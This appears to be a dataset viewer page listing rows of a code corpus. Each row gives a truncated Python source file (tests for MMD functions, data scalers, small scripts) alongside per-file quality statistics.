df_final[['img_id', 'heading', 'crop_num']] = df_final['jpg_name'].str.strip('.jpg').str.split('_', expand = True)
df_final['imgid_heading'] = df_final['img_id'].astype(str) + '_' + df_final['he... | 47.212121 | 118 | 0.712452 | 229 | 1,558 | 4.427948 | 0.227074 | 0.12426 | 0.16568 | 0.110454 | 0.90927 | 0.90927 | 0.90927 | 0.90927 | 0.90927 | 0.90927 | 0 | 0 | 0.148267 | 1,558 | 33 | 119 | 47.212121 | 0.76413 | 0.117458 | 0 | 0.666667 | 0 | 0 | 0.202772 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.111111 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
22891c7338ca5ed8e6abcb7e14901a6b56c14ee9 | 5,704 | py | Python | tests/test_mmd.py | imsb-uke/discern | 064859763ece154c410f3e34a3189756c750d651 | [
"MIT"
] | null | null | null | tests/test_mmd.py | imsb-uke/discern | 064859763ece154c410f3e34a3189756c750d651 | [
"MIT"
] | null | null | null | tests/test_mmd.py | imsb-uke/discern | 064859763ece154c410f3e34a3189756c750d651 | [
"MIT"
] | null | null | null | """Test mmd related functions."""
import numpy as np
import pytest
from sklearn.metrics.pairwise import euclidean_distances
from discern.mmd import mmd
def _mmd_loop(dist_xy, dist_xx, dist_yy, scales, sigma):
# pylint: disable=too-many-locals
stat = np.zeros_like(scales)
n_x = np.float(dist_xx.shape[0])
... | 47.932773 | 104 | 0.649194 | 869 | 5,704 | 4.0771 | 0.143844 | 0.066046 | 0.036692 | 0.04403 | 0.80271 | 0.773074 | 0.757832 | 0.732712 | 0.71352 | 0.69094 | 0 | 0.059018 | 0.203892 | 5,704 | 118 | 105 | 48.338983 | 0.721207 | 0.140077 | 0 | 0.557895 | 0 | 0 | 0.025974 | 0 | 0 | 0 | 0 | 0 | 0.084211 | 1 | 0.073684 | false | 0 | 0.042105 | 0 | 0.126316 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
22e12a864506c768a8a3d083766b5b970f484401 | 12,214 | py | Python | pipesnake/transformers/scaler.py | pierluigi-failla/pipesnake | db63e093d61470b5bc1f12baeec39688a9ea45f7 | [
"MIT"
] | null | null | null | pipesnake/transformers/scaler.py | pierluigi-failla/pipesnake | db63e093d61470b5bc1f12baeec39688a9ea45f7 | [
"MIT"
] | null | null | null | pipesnake/transformers/scaler.py | pierluigi-failla/pipesnake | db63e093d61470b5bc1f12baeec39688a9ea45f7 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import logging
import numpy
from pipesnake.base import Transformer
from pipesnake.base.utils import _check_cols
__all__ = [
'MinMaxScaler',
'StdScaler',
'MadScaler',
'UnitLenghtScaler',
]
class MinMaxScaler(Transformer):
"""Min max scaler.
This will scale the data ... | 38.16875 | 143 | 0.599804 | 1,816 | 12,214 | 3.785242 | 0.073789 | 0.050189 | 0.070701 | 0.049462 | 0.889438 | 0.871836 | 0.826157 | 0.817283 | 0.754292 | 0.754292 | 0 | 0.005259 | 0.268299 | 12,214 | 319 | 144 | 38.288401 | 0.763903 | 0.289422 | 0 | 0.694175 | 0 | 0 | 0.037243 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.135922 | false | 0 | 0.019417 | 0 | 0.378641 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
22ecdeef7d9419e057fbf8fcce25c512f86fa6f7 | 39 | py | Python | getAllPages/app.py | alucardlockon/RESTfulTest | 6e71c2619bfec214baf869322f6cea16b814b4fe | [
"MIT"
] | null | null | null | getAllPages/app.py | alucardlockon/RESTfulTest | 6e71c2619bfec214baf869322f6cea16b814b4fe | [
"MIT"
] | null | null | null | getAllPages/app.py | alucardlockon/RESTfulTest | 6e71c2619bfec214baf869322f6cea16b814b4fe | [
"MIT"
] | null | null | null | import sys
print sys.version_info
| 4.875 | 22 | 0.74359 | 6 | 39 | 4.666667 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.230769 | 39 | 7 | 23 | 5.571429 | 0.933333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.5 | null | null | 0.5 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 6 |
fe1687817672475105aae6254f9baac4e0b8c902 | 114 | py | Python | Exe_03.py | Oreder/PythonSelfStudy | 64c774ef469dcede6f653ab8eafd3edc83452876 | [
"MIT"
] | 1 | 2017-07-28T03:42:29.000Z | 2017-07-28T03:42:29.000Z | Exe_03.py | Oreder/PythonSelfStudy | 64c774ef469dcede6f653ab8eafd3edc83452876 | [
"MIT"
] | null | null | null | Exe_03.py | Oreder/PythonSelfStudy | 64c774ef469dcede6f653ab8eafd3edc83452876 | [
"MIT"
] | null | null | null | print(3 + 2 > 5 + 7)
print("Is it greater?", 3 > -2)
print("Roosters", 100 - 25 * 3 % 4)
print(7.0/4.0)
print(7/4) | 22.8 | 35 | 0.552632 | 25 | 114 | 2.52 | 0.52 | 0.063492 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.206522 | 0.192982 | 114 | 5 | 36 | 22.8 | 0.478261 | 0 | 0 | 0 | 0 | 0 | 0.191304 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
a3a7706e82f093c74c5bdd85efff3685bf4925f4 | 43 | py | Python | runner.py | talajasi7/bookmarking-app | f489317751d248b84f728fb331a35a590f0a7669 | [
"Apache-2.0"
] | null | null | null | runner.py | talajasi7/bookmarking-app | f489317751d248b84f728fb331a35a590f0a7669 | [
"Apache-2.0"
] | null | null | null | runner.py | talajasi7/bookmarking-app | f489317751d248b84f728fb331a35a590f0a7669 | [
"Apache-2.0"
] | null | null | null | from src.bark import run_bark
run_bark()
| 8.6 | 29 | 0.767442 | 8 | 43 | 3.875 | 0.625 | 0.451613 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.162791 | 43 | 4 | 30 | 10.75 | 0.861111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
a3fc3215a7189801f0425365c3fc82ad3511e9df | 115 | py | Python | pocketcasts/__init__.py | dbeley/python-pocketcasts | bf200f94e08a61f7a51c6c05ce9b87ef69d8535e | [
"MIT"
] | 2 | 2021-06-25T21:15:52.000Z | 2021-08-16T16:26:11.000Z | pocketcasts/__init__.py | dbeley/python-pocketcasts | bf200f94e08a61f7a51c6c05ce9b87ef69d8535e | [
"MIT"
] | null | null | null | pocketcasts/__init__.py | dbeley/python-pocketcasts | bf200f94e08a61f7a51c6c05ce9b87ef69d8535e | [
"MIT"
] | 1 | 2020-04-14T17:23:16.000Z | 2020-04-14T17:23:16.000Z | """TODO"""
from .api import Api # noqa
from .episode import Episode # noqa
from .podcast import Podcast # noqa
| 19.166667 | 36 | 0.695652 | 16 | 115 | 5 | 0.4375 | 0.2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 115 | 5 | 37 | 23 | 0.869565 | 0.173913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.